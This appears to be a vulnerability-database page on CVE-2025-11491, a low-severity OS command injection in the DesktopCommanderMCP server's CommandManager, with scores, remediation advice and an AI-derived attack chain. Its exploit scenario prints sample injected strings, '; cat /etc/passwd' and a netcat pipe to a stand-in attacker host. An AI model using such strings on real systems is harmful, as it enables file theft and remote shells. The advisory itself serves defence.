Skip to main content

DesktopCommanderMCP CVE-2025-11491

LOW
Command Injection (CWE-77)
2025-10-08 cna@vuldb.com
2.1
CVSS 4.0 · Vendor: vuldb
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to DesktopCommanderMCP
  2. Delivery
    Submit crafted command with shell injection payload
  3. Exploit
    CommandManager executes unsanitized input
  4. Execution
    OS shell interprets metacharacters
  5. Persist
    Arbitrary command executes with application privileges
  6. Impact
    Attacker gains access to application data or OS resources

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires prior authentication to DesktopCommanderMCP (CVSS vector PR:L). An authenticated user must have access to the CommandManager function and the ability to submit arbitrary command input. The vulnerability is not exploitable against unauthenticated attackers and requires the attacker to already possess valid credentials or session access to the application. No special configuration or non-default deployment is required beyond the presence of an authenticated user context.

Impact

Risk assessment reveals significant incongruence between raw CVSS and real-world exploitation signals. CVSS 2.1 with AV:N/AC:L/PR:L reflects low severity due to authentication requirement (PR:L) and limited impact scope (VC:L, VI:L, VA:L - confidentiality, integrity, availability all low). However, EPSS score of 0.14% (34th percentile) indicates very low probability of widespread automated exploitation despite public POC availability. This disconnect suggests the vulnerability is unlikely to be exploited at scale because: (1) it requires prior authentication, (2) impact is scoped to the authenticated user's permissions rather than system-wide compromise, and (3) the application itself may have limited deployment in sensitive environments. The public POC does not translate to active exploitation campaigns (no CISA KEV status indicated). This is appropriately classified as low priority for most organizations unless DesktopCommanderMCP is deployed in multi-tenant or privileged contexts where authenticated users are untrusted.

Exploit ScenarioDerived

An authenticated user with legitimate access to DesktopCommanderMCP submits a crafted command string containing shell metacharacters such as ; cat /etc/passwd or | nc attacker.com 4444 to the CommandManager function. The function fails to sanitize the input and passes the entire string to the OS shell, causing the injected command to execute with the privileges of the DesktopCommanderMCP process, allowing the attacker to read sensitive files or establish reverse shells.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

OS command injection in DesktopCommanderMCP up to version 0.2.13 allows authenticated remote attackers to execute arbitrary system commands via manipulation of the CommandManager function in src/command-manager.ts. The vulnerability has a low CVSS score (2.1) due to authentication requirement and limited scope, but publicly available exploit code exists and the low EPSS score (0.14th percentile) suggests real-world exploitation risk is minimal despite public POC availability.

RemediationAI

Upgrade DesktopCommanderMCP to a version newer than 0.2.13 once available from the wonderwhy-er GitHub repository. If upgrade is not immediately available, implement input validation and sanitization in the CommandManager function to reject or escape shell metacharacters (such as pipes, redirects, semicolons, backticks, and dollar-sign substitutions) before passing user input to OS command execution routines. Additionally, restrict DesktopCommanderMCP access to trusted authenticated users only, and consider running the application with minimal OS privileges (separate service account with no shell access or sudo rights) to limit the blast radius if command injection is exploited. Monitor the official GitHub repository at https://github.com/wonderwhy-er/DesktopCommanderMCP for patch releases, particularly version 0.2.14 or later.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DesktopCommanderMCP is a Model Context Protocol server implementation that manages command execution. The vulnerability exists in the CommandManager function within src/command-manager.ts, which handles OS command invocation. CWE-77 (Improper Neutralization of Special Elements used in a Command) indicates the function fails to properly sanitize or validate user-supplied input before passing it to OS command execution routines. This allows an authenticated user to inject shell metacharacters or command sequences that are interpreted by the underlying operating system shell rather than treated as literal arguments.

Know when Desktopcommandermcp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vuldb) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (vuldb) · only source for this CVE.

CVSS VectorVendor: vuldb

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability was found in wonderwhy-er DesktopCommanderMCP up to 0.2.13. The impacted element is the function CommandManager of the file src/command-manager.ts. Performing manipulation results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 66% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:wonderwhy-er:desktopcommandermcp:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy